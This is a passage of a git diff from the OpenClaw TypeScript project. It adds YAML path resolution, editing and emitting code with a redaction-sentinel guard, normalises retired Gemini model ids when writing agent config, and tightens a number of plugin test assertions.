pathSegments(path); + if (rawSegments.length === 0) { + return { ok: false, reason: 'unresolved' }; + } + + // Resolve positional tokens ($first / $last / -N) against the actual + // map keys / seq sizes BEFORE handing the segments to the yaml lib — + // otherwise `hasIn(['$last'])` treats the token as a literal map key + // and silently unresolves, producing a write↔read asymmetry with + // resolveYamlOcPath (which honors positional tokens at lookup). + const segments = resolvePositionalSegments(ast.doc.contents as Node, rawSegments); + if (segments === null) {return { ok: false, reason: 'unresolved' };} + + // Verify the path resolves before mutating — `setIn` would create + // missing intermediate nodes which is insertion semantics, not set. + if (!ast.doc.hasIn(segments)) { + return { ok: false, reason: 'unresolved' }; + } + + // Clone the document so the original AST is unchanged. + const { doc: cloned, lineCounter } = cloneDoc(ast.doc); + cloned.setIn(segments, newValue); + return { ok: true, ast: { kind: 'yaml', raw: cloned.toString(), doc: cloned, lineCounter } }; +} + +/** + * Append-style insertion: add a new key to a map or push to a seq at + * `path`. Used by the universal `setOcPath` when the path carries a + * `+` / `+key` / `+nnn` insertion marker. + */ +export function insertYamlOcPath( + ast: YamlAst, + parentPath: OcPath, + marker: '+' | { kind: 'keyed'; key: string } | { kind: 'indexed'; index: number }, + newValue: unknown, +): YamlEditResult { + if (ast.doc.contents === null) {return { ok: false, reason: 'no-root' };} + + const rawParentSegments = pathSegments(parentPath); + // Resolve positional tokens against the live document before walking + // — same rationale as setYamlOcPath; `getIn(['$last'])` would treat + // the token as a literal key and miss the actual last child. + const segments = + rawParentSegments.length === 0 + ? rawParentSegments + : resolvePositionalSegments(ast.doc.contents as Node, rawParentSegments); + if (segments === null) {return { ok: false, reason: 'unresolved' };} + const { doc: cloned, lineCounter } = cloneDoc(ast.doc); + + // Find the parent node. + const parent = segments.length === 0 ? cloned.contents : cloned.getIn(segments, false); + if (parent === undefined || parent === null) {return { ok: false, reason: 'unresolved' };} + + // Map insertion → keyed + if (typeof parent === 'object' && 'items' in parent && Array.isArray((parent as { items: unknown[] }).items)) { + const items = (parent as { items: { key?: unknown }[] }).items; + // Array#every() already returns true on an empty array — no need + // for the explicit length === 0 short-circuit. + const isMapLike = items.every((p) => 'key' in p); + + if (isMapLike) { + if (typeof marker !== 'object' || marker.kind !== 'keyed') { + return { ok: false, reason: 'unresolved' }; + } + // Reject duplicate + if (cloned.hasIn([...segments, marker.key])) { + return { ok: false, reason: 'unresolved' }; + } + cloned.setIn([...segments, marker.key], newValue); + return { ok: true, ast: { kind: 'yaml', raw: cloned.toString(), doc: cloned, lineCounter } }; + } + + // Seq insertion + if (typeof marker === 'object' && marker.kind === 'keyed') { + return { ok: false, reason: 'unresolved' }; + } + const seqItems = items as unknown[]; + if (marker === '+') { + cloned.addIn(segments, newValue); + } else if (typeof marker === 'object' && marker.kind === 'indexed') { + const idx = Math.min(marker.index, seqItems.length); + const current = cloned.getIn(segments) as unknown[] | undefined; + if (!Array.isArray(current)) {return { ok: false, reason: 'unresolved' };} + const newArr = [...current]; + newArr.splice(idx, 0, newValue); + cloned.setIn(segments, newArr); + } + return { ok: true, ast: { kind: 'yaml', raw: cloned.toString(), doc: cloned, lineCounter } }; + } + + return { ok: false, reason: 'unresolved' }; +} + +/** + * Walk `segments` against the live document, replacing each positional + * token (`$first` / `$last` / `-N`) with the concrete key (for maps) or + * index (for seqs) at that depth. Returns `null` if a positional token + * targets a missing or non-container node — caller treats that as + * `unresolved` and refuses to write. + * + * Mirrors `positionalForYaml` in resolve.ts so read and write agree on + * which child each token names. + */ +function resolvePositionalSegments( + root: Node, + segments: readonly string[], +): string[] | null { + const out: string[] = []; + let node: Node | null = root; + for (const seg of segments) { + if (node === null) {return null;} + let segNorm = seg; + if (isPositionalSeg(seg)) { + const concrete = positionalForYamlNode(node, seg); + if (concrete === null) {return null;} + segNorm = concrete; + } + out.push(segNorm); + if (isMap(node)) { + const pairs: readonly Pair[] = (node as { items: readonly Pair[] }).items; + const pair: Pair | undefined = pairs.find((p) => { + const k = isScalar(p.key) ? p.key.value : p.key; + return String(k) === segNorm; + }); + node = (pair?.value as Node | undefined) ?? null; + continue; + } + if (isSeq(node)) { + const idx = Number(segNorm); + if (!Number.isInteger(idx) || idx < 0 || idx >= node.items.length) {return null;} + node = (node.items[idx] as Node | null) ?? null; + continue; + } + // Scalar — we still emit the literal segment so the next-step + // hasIn check sees the same shape and fails cleanly with + // `unresolved`. Don't try to descend further. + node = null; + } + return out; +} + +function positionalForYamlNode(node: Node, seg: string): string | null { + if (isMap(node)) { + const pairs: readonly Pair[] = (node as { items: readonly Pair[] }).items; + const keys: readonly string[] = pairs.map((p) => + String(isScalar(p.key) ? p.key.value : p.key), + ); + return resolvePositionalSeg(seg, { indexable: false, size: keys.length, keys }); + } + if (isSeq(node)) { + const items: readonly Node[] = (node as { items: readonly Node[] }).items; + return resolvePositionalSeg(seg, { indexable: true, size: items.length }); + } + return null; +} + +function pathSegments(path: OcPath): string[] { + // Quote-aware split + unquote so YAML edit matches `resolveYamlOcPath`'s + // lookup behavior. A quoted segment carrying `/` or `.` (e.g. + // `"a/b"`) survives as a single segment, then gets stripped of + // its surrounding quotes for the actual `getIn` / `setIn` key + // comparison. Plain `.split('.')` would shred quoted keys and + // produce silent resolve↔write asymmetry. + const segs: string[] = []; + const collect = (slot: string | undefined) => { + if (slot === undefined) {return;} + for (const sub of splitRespectingBrackets(slot, '.')) { + segs.push(isQuotedSeg(sub) ? unquoteSeg(sub) : sub); + } + }; + collect(path.section); + collect(path.item); + collect(path.field); + return segs; +} + +function cloneDoc(doc: Document.Parsed): { doc: Document.Parsed; lineCounter: LineCounter } { + // Round-trip via toString → parseDocument is the simplest comment- + // preserving clone. yaml package doesn't expose a public `clone`. + // Re-parse with a fresh LineCounter so the cloned AST has accurate + // line positions for any subsequent inspection. + const lineCounter = new LineCounter(); + const cloned = parseDocument(doc.toString(), { + keepSourceTokens: true, + prettyErrors: false, + lineCounter, + }); + return { doc: cloned, lineCounter }; +} diff --git a/src/oc-path/yaml/emit.ts b/src/oc-path/yaml/emit.ts new file mode 100644 index 00000000000..baa49b6224d --- /dev/null +++ b/src/oc-path/yaml/emit.ts @@ -0,0 +1,49 @@ +/** + * Emit a `YamlAst` to bytes. + * + * **Round-trip mode (default)** returns `ast.raw` verbatim — preserves + * comments, anchors, formatting exactly. + * + * **Render mode** uses `doc.toString()` from the `yaml` package — also + * comment-preserving, but normalizes whitespace per the package's + * options. + * + * **Sentinel guard**: scans every emitted byte sequence for the + * `__OPENCLAW_REDACTED__` literal. + * + * @module @openclaw/oc-path/yaml/emit + */ + +import { OcEmitSentinelError, REDACTED_SENTINEL } from '../sentinel.js'; +import type { YamlAst } from './ast.js'; + +export interface YamlEmitOptions { + readonly mode?: 'roundtrip' | 'render'; + readonly fileNameForGuard?: string; + /** + * See `JsoncEmitOptions.acceptPreExistingSentinel` for the rationale. + * Default `true` — round-trip echoes parsed bytes without scanning. + * Render mode always scans the rendered output (callers can inject + * sentinels via setYamlOcPath, so render-time scan is mandatory). + */ + readonly acceptPreExistingSentinel?: boolean; +} + +export function emitYaml(ast: YamlAst, opts: YamlEmitOptions = {}): string { + const mode = opts.mode ?? 'roundtrip'; + const guardPath = opts.fileNameForGuard ? `oc://${opts.fileNameForGuard}` : 'oc://'; + const acceptPreExisting = opts.acceptPreExistingSentinel ?? true; + + if (mode === 'roundtrip') { + if (!acceptPreExisting && ast.raw.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(`${guardPath}/[raw]`); + } + return ast.raw; + } + + const rendered = ast.doc.toString(); + if (rendered.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(`${guardPath}/[rendered]`); + } + return rendered; +} diff --git a/src/oc-path/yaml/parse.ts b/src/oc-path/yaml/parse.ts new file mode 100644 index 00000000000..6a4720a91f8 --- /dev/null +++ b/src/oc-path/yaml/parse.ts @@ -0,0 +1,48 @@ +/** + * YAML parser — wraps `yaml.parseDocument` for comment-preserving CST + * + structured access. Soft-error policy: never throws on + * parser-tolerated input; recoverable problems surface as diagnostics. + * + * @module @openclaw/oc-path/yaml/parse + */ + +import { LineCounter, parseDocument } from 'yaml'; +import type { Diagnostic } from '../ast.js'; +import type { YamlAst } from './ast.js'; + +export interface YamlParseResult { + readonly ast: YamlAst; + readonly diagnostics: readonly Diagnostic[]; +} + +/** + * Parse YAML bytes into a `YamlAst`. The `yaml` package is + * comment-preserving and reports its own warnings/errors; we surface + * those as `Diagnostic` entries. + */ +export function parseYaml(raw: string): YamlParseResult { + const lineCounter = new LineCounter(); + const doc = parseDocument(raw, { + keepSourceTokens: true, + prettyErrors: false, + lineCounter, + }); + const diagnostics: Diagnostic[] = []; + for (const w of doc.warnings) { + diagnostics.push({ + line: w.linePos?.[0]?.line ?? 1, + message: w.message, + severity: 'warning', + code: 'OC_YAML_WARN', + }); + } + for (const e of doc.errors) { + diagnostics.push({ + line: e.linePos?.[0]?.line ?? 1, + message: e.message, + severity: 'error', + code: 'OC_YAML_PARSE_FAILED', + }); + } + return { ast: { kind: 'yaml', raw, doc, lineCounter }, diagnostics }; +} diff --git a/src/oc-path/yaml/resolve.ts b/src/oc-path/yaml/resolve.ts new file mode 100644 index 00000000000..751697532cd --- /dev/null +++ b/src/oc-path/yaml/resolve.ts @@ -0,0 +1,147 @@ +/** + * Resolve an `OcPath` against a `YamlAst`. + * + * YAML's structural shape mirrors JSONC: objects (`Map`), arrays + * (`Seq`), and scalars. Addressing follows the same dotted-path + * convention used by JSONC: + * + * oc://workflow.yaml/steps.0.command → command on first step + * oc://workflow.yaml/name → top-level name + * oc://workflow.yaml/steps.+command → insertion (handled by edit) + * + * @module @openclaw/oc-path/yaml/resolve + */ + +import { isMap, isScalar, isSeq, type Node, type Pair } from 'yaml'; +import type { OcPath } from '../oc-path.js'; +import { + isPositionalSeg, + isQuotedSeg, + resolvePositionalSeg, + splitRespectingBrackets, + unquoteSeg, +} from '../oc-path.js'; +import type { YamlAst } from './ast.js'; + +export type YamlOcPathMatch = + | { readonly kind: 'root'; readonly node: YamlAst } + | { readonly kind: 'scalar'; readonly value: unknown; readonly path: readonly string[] } + | { + readonly kind: 'map'; + readonly path: readonly string[]; + } + | { + readonly kind: 'seq'; + readonly path: readonly string[]; + } + | { + readonly kind: 'pair'; + readonly key: string; + readonly value: unknown; + readonly path: readonly string[]; + }; + +export function resolveYamlOcPath( + ast: YamlAst, + path: OcPath, +): YamlOcPathMatch | null { + const segments: string[] = []; + if (path.section !== undefined) { + for (const s of splitRespectingBrackets(path.section, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + if (path.item !== undefined) { + for (const s of splitRespectingBrackets(path.item, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + if (path.field !== undefined) { + for (const s of splitRespectingBrackets(path.field, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + + if (segments.length === 0) {return { kind: 'root', node: ast };} + + const root = ast.doc.contents; + if (root === null) {return null;} + + return walkNode(root, segments, 0, []); +} + +function walkNode( + node: Node | null, + segments: readonly string[], + i: number, + walked: readonly string[], +): YamlOcPathMatch | null { + if (node === null) {return null;} + let seg = segments[i]; + + if (seg === undefined) { + // Reached end — describe whatever we landed on. + if (isMap(node)) {return { kind: 'map', path: walked };} + if (isSeq(node)) {return { kind: 'seq', path: walked };} + if (isScalar(node)) { + return { kind: 'scalar', value: node.value, path: walked }; + } + return null; + } + if (seg.length === 0) {return null;} + + // Positional tokens (`$first` / `$last` / `-N`) resolve to a concrete + // segment based on container shape. `-N` on a keyed container falls + // through to literal-key lookup (openclaw#59934 — Telegram supergroup + // IDs are negative numbers used as map keys). + if (isPositionalSeg(seg)) { + const concrete = positionalForYaml(node, seg); + if (concrete !== null) {seg = concrete;} + } + + if (isMap(node)) { + const pair = (node as { items: Pair[] }).items.find((p) => { + const k = isScalar(p.key) ? p.key.value : p.key; + return String(k) === seg; + }); + if (pair === undefined) {return null;} + const childWalked = [...walked, seg]; + if (i === segments.length - 1) { + const child = pair.value; + if (isScalar(child)) { + return { + kind: 'pair', + key: seg, + value: child.value, + path: childWalked, + }; + } + // Map / seq under the pair — describe by descending. + return walkNode(child as Node, segments, i + 1, childWalked); + } + return walkNode(pair.value as Node, segments, i + 1, childWalked); + } + + if (isSeq(node)) { + const idx = Number(seg); + if (!Number.isInteger(idx) || idx < 0 || idx >= node.items.length) {return null;} + const child = node.items[idx]; + return walkNode(child as Node, segments, i + 1, [...walked, seg]); + } + + // Scalar — can't descend. + return null; +} + +function positionalForYaml(node: Node, seg: string): string | null { + if (isMap(node)) { + const pairs = (node as { items: Pair[] }).items; + const keys = pairs.map((p) => String(isScalar(p.key) ? p.key.value : p.key)); + return resolvePositionalSeg(seg, { indexable: false, size: keys.length, keys }); + } + if (isSeq(node)) { + const items = (node as { items: Node[] }).items; + return resolvePositionalSeg(seg, { indexable: true, size: items.length }); + } + return null; +} diff --git a/src/plugin-sdk/inbound-reply-dispatch.test.ts b/src/plugin-sdk/inbound-reply-dispatch.test.ts index c620e8f6036..66e90659330 100644 --- a/src/plugin-sdk/inbound-reply-dispatch.test.ts +++ b/src/plugin-sdk/inbound-reply-dispatch.test.ts @@ -32,7 +32,6 @@ import { resolveChannelSourceReplyDeliveryMode, } from "./channel-reply-pipeline.js"; import { - dispatchInboundReplyWithBase, hasFinalInboundReplyDispatch, hasVisibleInboundReplyDispatch, recordInboundSessionAndDispatchReply, diff --git a/src/plugin-sdk/provider-model-id-normalize.test.ts b/src/plugin-sdk/provider-model-id-normalize.test.ts index 7b7db29e8ae..062622dbc42 100644 --- a/src/plugin-sdk/provider-model-id-normalize.test.ts +++ b/src/plugin-sdk/provider-model-id-normalize.test.ts @@ -4,6 +4,7 @@ import { normalizeGooglePreviewModelId } from "./provider-model-id-normalize.js" describe("provider model id normalization", () => { it("routes bare Gemini 3 Pro to the current Gemini 3.1 Pro preview", () => { expect(normalizeGooglePreviewModelId("gemini-3-pro")).toBe("gemini-3.1-pro-preview"); + expect(normalizeGooglePreviewModelId("gemini-3-pro-preview")).toBe("gemini-3.1-pro-preview"); expect(normalizeGooglePreviewModelId("gemini-3.1-pro")).toBe("gemini-3.1-pro-preview"); }); diff --git a/src/plugin-sdk/provider-model-id-normalize.ts b/src/plugin-sdk/provider-model-id-normalize.ts index 7e907503ca2..ceb7f0acf82 100644 --- a/src/plugin-sdk/provider-model-id-normalize.ts +++ b/src/plugin-sdk/provider-model-id-normalize.ts @@ -1,7 +1,7 @@ const ANTIGRAVITY_BARE_PRO_IDS = new Set(["gemini-3-pro", "gemini-3.1-pro", "gemini-3-1-pro"]); export function normalizeGooglePreviewModelId(id: string): string { - if (id === "gemini-3-pro") { + if (id === "gemini-3-pro" || id === "gemini-3-pro-preview") { return "gemini-3.1-pro-preview"; } if (id === "gemini-3-flash") { diff --git a/src/plugin-sdk/provider-onboard.ts b/src/plugin-sdk/provider-onboard.ts index 072935c38eb..f9c82ae515b 100644 --- a/src/plugin-sdk/provider-onboard.ts +++ b/src/plugin-sdk/provider-onboard.ts @@ -3,6 +3,7 @@ import { ensureStaticModelAllowlistEntry } from "../agents/model-allowlist-entry.js"; import { findNormalizedProviderKey } from "../agents/provider-id.js"; +import { normalizeAgentModelRefForConfig } from "../config/model-input.js"; import type { AgentModelEntryConfig } from "../config/types.agent-defaults.js"; import type { ModelApi, @@ -207,6 +208,9 @@ export function applyAgentDefaultModelPrimary( primary: string, ): OpenClawConfig { const existingFallbacks = extractAgentDefaultModelFallbacks(cfg.agents?.defaults?.model); + const normalizedFallbacks = existingFallbacks?.map((fallback) => + normalizeAgentModelRefForConfig(fallback), + ); return { ...cfg, agents: { @@ -214,8 +218,8 @@ export function applyAgentDefaultModelPrimary( defaults: { ...cfg.agents?.defaults, model: { - ...(existingFallbacks ? { fallbacks: existingFallbacks } : undefined), - primary, + ...(normalizedFallbacks ? { fallbacks: normalizedFallbacks } : undefined), + primary: normalizeAgentModelRefForConfig(primary), }, }, }, diff --git a/src/plugin-sdk/provider-selection-runtime.ts b/src/plugin-sdk/provider-selection-runtime.ts index be04af0f3a8..090071e32fd 100644 --- a/src/plugin-sdk/provider-selection-runtime.ts +++ b/src/plugin-sdk/provider-selection-runtime.ts @@ -46,8 +46,7 @@ export function selectConfiguredOrAutoProvider( + providers: Iterable, +): TProvider | undefined { + let selected: TProvider | undefined; + for (const provider of providers) { + if (!selected || compareProviderAutoSelectOrder(provider, selected) < 0) { + selected = provider; + } + } + return selected; +} + function readProviderConfig( providerConfigs: Record | undefined> | undefined, providerId: string | undefined, diff --git a/src/plugin-sdk/security-runtime.ts b/src/plugin-sdk/security-runtime.ts index ba49f952e2b..dbb5955c777 100644 --- a/src/plugin-sdk/security-runtime.ts +++ b/src/plugin-sdk/security-runtime.ts @@ -83,10 +83,13 @@ export { isNotFoundPathError, isPathInside } from "../infra/path-guards.js"; export { assertAbsolutePathInput, canonicalPathFromExistingAncestor, + ensureAbsoluteDirectory, findExistingAncestor, resolveAbsolutePathForRead, resolveAbsolutePathForWrite, type AbsolutePathSymlinkPolicy, + type EnsureAbsoluteDirectoryOptions, + type EnsureAbsoluteDirectoryResult, type ResolvedAbsolutePath, type ResolvedWritableAbsolutePath, } from "../infra/fs-safe.js"; diff --git a/src/plugins/clawhub.ts b/src/plugins/clawhub.ts index 98839a41161..705feb7e4b1 100644 --- a/src/plugins/clawhub.ts +++ b/src/plugins/clawhub.ts @@ -811,7 +811,12 @@ async function verifyClawHubArchiveFiles(params: { } actualFiles.delete(file.path); } - const unexpectedFile = [...actualFiles.keys()].toSorted()[0]; + let unexpectedFile: string | undefined; + for (const file of actualFiles.keys()) { + if (unexpectedFile === undefined || file < unexpectedFile) { + unexpectedFile = file; + } + } if (unexpectedFile) { return buildClawHubInstallFailure( `ClawHub archive contents do not match files[] metadata for "${params.packageName}@${params.packageVersion}": unexpected file "${unexpectedFile}".`, diff --git a/src/plugins/contracts/plugin-sdk-root-alias.test.ts b/src/plugins/contracts/plugin-sdk-root-alias.test.ts index 95ad194f0de..7b95b8b6f18 100644 --- a/src/plugins/contracts/plugin-sdk-root-alias.test.ts +++ b/src/plugins/contracts/plugin-sdk-root-alias.test.ts @@ -519,7 +519,7 @@ describe("plugin-sdk root alias", () => { throw new Error("expected onDiagnosticEvent export"); } const unsubscribe = (value as (listener: () => void) => () => void)(() => undefined); - expect(unsubscribe).toEqual(expect.any(Function)); + unsubscribe(); }, }, ])("$name", ({ exportName, exportValue, expectIdentity, assertForwarded }) => { diff --git a/src/plugins/contracts/tts-contract-suites.ts b/src/plugins/contracts/tts-contract-suites.ts index bc942c39f78..76cdfdee056 100644 --- a/src/plugins/contracts/tts-contract-suites.ts +++ b/src/plugins/contracts/tts-contract-suites.ts @@ -944,7 +944,10 @@ export function describeTtsSummarizationContract() { `Invalid targetLength: ${testCase.targetLength}`, ); } else { - await expect(call, String(testCase.targetLength)).resolves.toBeDefined(); + await expect(call, String(testCase.targetLength)).resolves.toMatchObject({ + summary: expect.any(String), + inputLength: 4, + }); } }); @@ -1159,8 +1162,10 @@ export function describeTtsProviderRuntimeContract() { if (result.success) { throw new Error("expected synthesis failure"); } - expect(result.error).toBeDefined(); - const errorMessage = result.error ?? ""; + const errorMessage = result.error; + if (typeof errorMessage !== "string") { + throw new Error("expected synthesis failure error message"); + } expect(errorMessage).toBe("TTS conversion failed: openai: provider failed"); expect(errorMessage).not.toContain("TTS conversion failed: TTS conversion failed:"); expect(errorMessage.match(/TTS conversion failed:/g)).toHaveLength(1); @@ -1259,7 +1264,9 @@ export function describeTtsAutoApplyContract() { if (params.expectSamePayload) { expect(result).toBe(params.payload); } else { - expect(result.mediaUrl).toBeDefined(); + if (typeof result.mediaUrl !== "string" || result.mediaUrl.length === 0) { + throw new Error("expected auto TTS to attach mediaUrl"); + } } }); } diff --git a/src/plugins/interactive.test.ts b/src/plugins/interactive.test.ts index 02ea364e55c..8eb2eff706a 100644 --- a/src/plugins/interactive.test.ts +++ b/src/plugins/interactive.test.ts @@ -493,7 +493,10 @@ describe("plugin interactive handlers", () => { inflightCallbackDedupe?: Set; }; expect(hydrated.interactiveHandlers).toBeInstanceOf(Map); - expect(hydrated.callbackDedupe?.clear).toEqual(expect.any(Function)); + if (!hydrated.callbackDedupe) { + throw new Error("expected hydrated callback dedupe"); + } + expect(() => hydrated.callbackDedupe?.clear()).not.toThrow(); expect(hydrated.inflightCallbackDedupe).toBeInstanceOf(Set); const handler = vi.fn(async () => ({ handled: true })); diff --git a/src/plugins/loader.runtime-registry.test.ts b/src/plugins/loader.runtime-registry.test.ts index 35cdd718c6f..14a8eaac2cf 100644 --- a/src/plugins/loader.runtime-registry.test.ts +++ b/src/plugins/loader.runtime-registry.test.ts @@ -630,7 +630,9 @@ describe("clearPluginLoaderCache", () => { ]); expect(listMemoryCorpusSupplements()).toHaveLength(1); expect(resolveMemoryFlushPlan({})?.relativePath).toBe("memory/stale.md"); - expect(requireMemoryRuntime().resolveMemoryBackendConfig()).toEqual({ backend: "builtin" }); + expect( + requireMemoryRuntime().resolveMemoryBackendConfig({ cfg: {} as never, agentId: "main" }), + ).toEqual({ backend: "builtin" }); expect(requireMemoryEmbeddingProvider("stale").id).toBe("stale"); clearPluginLoaderCache(); diff --git a/src/plugins/plugin-registry-snapshot.test.ts b/src/plugins/plugin-registry-snapshot.test.ts index f7d67ddf925..8a09321d844 100644 --- a/src/plugins/plugin-registry-snapshot.test.ts +++ b/src/plugins/plugin-registry-snapshot.test.ts @@ -95,7 +95,7 @@ describe("loadPluginRegistrySnapshotWithMetadata", () => { stateDir, installRecords: {}, }); - expect(staleIndex.plugins.some((plugin) => plugin.pluginId === "whatsapp")).toBe(false); + expect(staleIndex.plugins.map((plugin) => plugin.pluginId)).not.toContain("whatsapp"); writePersistedInstalledPluginIndexSync(staleIndex, { stateDir }); const result = loadPluginRegistrySnapshotWithMetadata({ diff --git a/src/plugins/provider-auth-choice-helpers.test.ts b/src/plugins/provider-auth-choice-helpers.test.ts index 141adc2b210..e58e6061bf5 100644 --- a/src/plugins/provider-auth-choice-helpers.test.ts +++ b/src/plugins/provider-auth-choice-helpers.test.ts @@ -142,6 +142,22 @@ describe("applyDefaultModel", () => { }); }); + it("normalizes a preserved retired Google Gemini primary", () => { + const config = { + agents: { + defaults: { + model: { primary: "google/gemini-3-pro-preview" }, + }, + }, + } as OpenClawConfig; + const next = applyDefaultModel(config, "openrouter/auto", { + preserveExistingPrimary: true, + }); + expect(next.agents?.defaults?.model).toEqual({ + primary: "google/gemini-3.1-pro-preview", + }); + }); + it("preserves an existing primary and keeps fallbacks", () => { const config = { agents: { @@ -172,4 +188,36 @@ describe("applyDefaultModel", () => { "openrouter/auto": {}, }); }); + + it("normalizes retired Google Gemini default models before writing config", () => { + const config = { + agents: { defaults: { models: { "anthropic/claude-sonnet-4-6": {} } } }, + } as OpenClawConfig; + const next = applyDefaultModel(config, "google/gemini-3-pro-preview"); + expect(next.agents?.defaults?.model).toEqual({ + primary: "google/gemini-3.1-pro-preview", + }); + expect(next.agents?.defaults?.models).toEqual({ + "anthropic/claude-sonnet-4-6": {}, + "google/gemini-3.1-pro-preview": {}, + }); + }); + + it("normalizes retired Google Gemini fallbacks when writing config", () => { + const config = { + agents: { + defaults: { + model: { + primary: "anthropic/claude-opus-4-6", + fallbacks: ["google/gemini-3-pro-preview"], + }, + }, + }, + } as OpenClawConfig; + const next = applyDefaultModel(config, "openrouter/auto"); + expect(next.agents?.defaults?.model).toEqual({ + primary: "openrouter/auto", + fallbacks: ["google/gemini-3.1-pro-preview"], + }); + }); }); diff --git a/src/plugins/provider-auth-choice-helpers.ts b/src/plugins/provider-auth-choice-helpers.ts index 7eefbb0117d..02e8ba27591 100644 --- a/src/plugins/provider-auth-choice-helpers.ts +++ b/src/plugins/provider-auth-choice-helpers.ts @@ -1,4 +1,5 @@ import { normalizeProviderId } from "../agents/model-selection.js"; +import { normalizeAgentModelRefForConfig } from "../config/model-input.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeLowercaseStringOrEmpty, @@ -124,8 +125,9 @@ export function applyDefaultModel( model: string, opts?: { preserveExistingPrimary?: boolean }, ): OpenClawConfig { + const normalizedModel = normalizeAgentModelRefForConfig(model); const models = { ...cfg.agents?.defaults?.models }; - models[model] = models[model] ?? {}; + models[normalizedModel] = models[normalizedModel] ?? {}; const existingModel = cfg.agents?.defaults?.model; const existingPrimary = @@ -134,6 +136,15 @@ export function applyDefaultModel( : existingModel && typeof existingModel === "object" ? (existingModel as { primary?: string }).primary : undefined; + const normalizedExistingPrimary = existingPrimary + ? normalizeAgentModelRefForConfig(existingPrimary) + : undefined; + const existingFallbacks = + existingModel && typeof existingModel === "object" && "fallbacks" in existingModel + ? (existingModel as { fallbacks?: string[] }).fallbacks?.map((fallback) => + normalizeAgentModelRefForConfig(fallback), + ) + : undefined; return { ...cfg, agents: { @@ -142,10 +153,11 @@ export function applyDefaultModel( ...cfg.agents?.defaults, models, model: { - ...(existingModel && typeof existingModel === "object" && "fallbacks" in existingModel - ? { fallbacks: (existingModel as { fallbacks?: string[] }).fallbacks } - : undefined), - primary: opts?.preserveExistingPrimary === true ? (existingPrimary ?? model) : model, + ...(existingFallbacks ? { fallbacks: existingFallbacks } : undefined), + primary: + opts?.preserveExistingPrimary === true + ? (normalizedExistingPrimary ?? normalizedModel) + : normalizedModel, }, }, }, diff --git a/src/plugins/provider-model-primary.ts b/src/plugins/provider-model-primary.ts index e3cc3069d30..a310942b951 100644 --- a/src/plugins/provider-model-primary.ts +++ b/src/plugins/provider-model-primary.ts @@ -1,3 +1,4 @@ +import { normalizeAgentModelRefForConfig } from "../config/model-input.js"; import type { AgentModelListConfig } from "../config/types.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; @@ -16,9 +17,10 @@ export function applyAgentDefaultPrimaryModel(params: { model: string; legacyModels?: Set; }): { next: OpenClawConfig; changed: boolean } { + const model = normalizeAgentModelRefForConfig(params.model); const current = resolvePrimaryModel(params.cfg.agents?.defaults?.model)?.trim(); - const normalizedCurrent = current && params.legacyModels?.has(current) ? params.model : current; - if (normalizedCurrent === params.model) { + const normalizedCurrent = current && params.legacyModels?.has(current) ? model : current; + if (normalizedCurrent === model) { return { next: params.cfg, changed: false }; } @@ -34,9 +36,9 @@ export function applyAgentDefaultPrimaryModel(params: { typeof params.cfg.agents.defaults.model === "object" ? { ...params.cfg.agents.defaults.model, - primary: params.model, + primary: model, } - : { primary: params.model }, + : { primary: model }, }, }, }, @@ -45,12 +47,15 @@ export function applyAgentDefaultPrimaryModel(params: { } export function applyPrimaryModel(cfg: OpenClawConfig, model: string): OpenClawConfig { + const normalizedModel = normalizeAgentModelRefForConfig(model); const defaults = cfg.agents?.defaults; const existingModel = defaults?.model; const existingModels = defaults?.models; const fallbacks = typeof existingModel === "object" && existingModel !== null && "fallbacks" in existingModel - ? (existingModel as { fallbacks?: string[] }).fallbacks + ? (existingModel as { fallbacks?: string[] }).fallbacks?.map((fallback) => + normalizeAgentModelRefForConfig(fallback), + ) : undefined; return { ...cfg, @@ -60,11 +65,11 @@ export function applyPrimaryModel(cfg: OpenClawConfig, model: string): OpenClawC ...defaults, model: { ...(fallbacks ? { fallbacks } : undefined), - primary: model, + primary: normalizedModel, }, models: { ...existingModels, - [model]: existingModels?.[model] ?? {}, + [normalizedModel]: existingModels?.[normalizedModel] ?? {}, }, }, }, diff --git a/src/plugins/provider-validation.test.ts b/src/plugins/provider-validation.test.ts index b2dae0a22d2..d47cc74aa6c 100644 --- a/src/plugins/provider-validation.test.ts +++ b/src/plugins/provider-validation.test.ts @@ -219,6 +219,9 @@ describe("normalizeRegisteredProvider", () => { 'provider "demo" registered both catalog and discovery; using catalog', ], assert: (provider: ReturnType) => { + if (!provider) { + throw new Error("expected provider"); + } expect(provider).toMatchObject({ catalog: { run: expect.any(Function) } }); expect(provider.discovery).toBeUndefined(); }, diff --git a/src/plugins/registry.dual-kind-memory-gate.test.ts b/src/plugins/registry.dual-kind-memory-gate.test.ts index c277b1b0478..f2798170bd2 100644 --- a/src/plugins/registry.dual-kind-memory-gate.test.ts +++ b/src/plugins/registry.dual-kind-memory-gate.test.ts @@ -80,7 +80,9 @@ describe("dual-kind memory registration gate", () => { }, }); - expect(requireMemoryRuntime().resolveMemoryBackendConfig()).toEqual({ backend: "builtin" }); + expect( + requireMemoryRuntime().resolveMemoryBackendConfig({ cfg: {} as never, agentId: "main" }), + ).toEqual({ backend: "builtin" }); expect( registry.registry.diagnostics.filter( (d) => d.pluginId === "dual-plugin" && d.level === "warn", @@ -102,7 +104,9 @@ describe("dual-kind memory registration gate", () => { }, }); - expect(requireMemoryRuntime().resolveMemoryBackendConfig()).toEqual({ backend: "builtin" }); + expect( + requireMemoryRuntime().resolveMemoryBackendConfig({ cfg: {} as never, agentId: "main" }), + ).toEqual({ backend: "builtin" }); }); it("allows selected dual-kind plugins to register the unified memory capability", () => { @@ -128,6 +132,8 @@ describe("dual-kind memory registration gate", () => { expect(getMemoryCapabilityRegistration()).toMatchObject({ pluginId: "dual-plugin", }); - expect(requireMemoryRuntime().resolveMemoryBackendConfig()).toEqual({ backend: "builtin" }); + expect( + requireMemoryRuntime().resolveMemoryBackendConfig({ cfg: {} as never, agentId: "main" }), + ).toEqual({ backend: "builtin" }); }); }); diff --git a/src/plugins/source-display.test.ts b/src/plugins/source-display.test.ts index 93f452ae3d1..c9869db491b 100644 --- a/src/plugins/source-display.test.ts +++ b/src/plugins/source-display.test.ts @@ -79,6 +79,9 @@ describe("formatPluginSourceForTable", () => { OPENCLAW_STATE_DIR: "~/state", } as NodeJS.ProcessEnv; const stock = withPathResolutionEnv(homeDir, 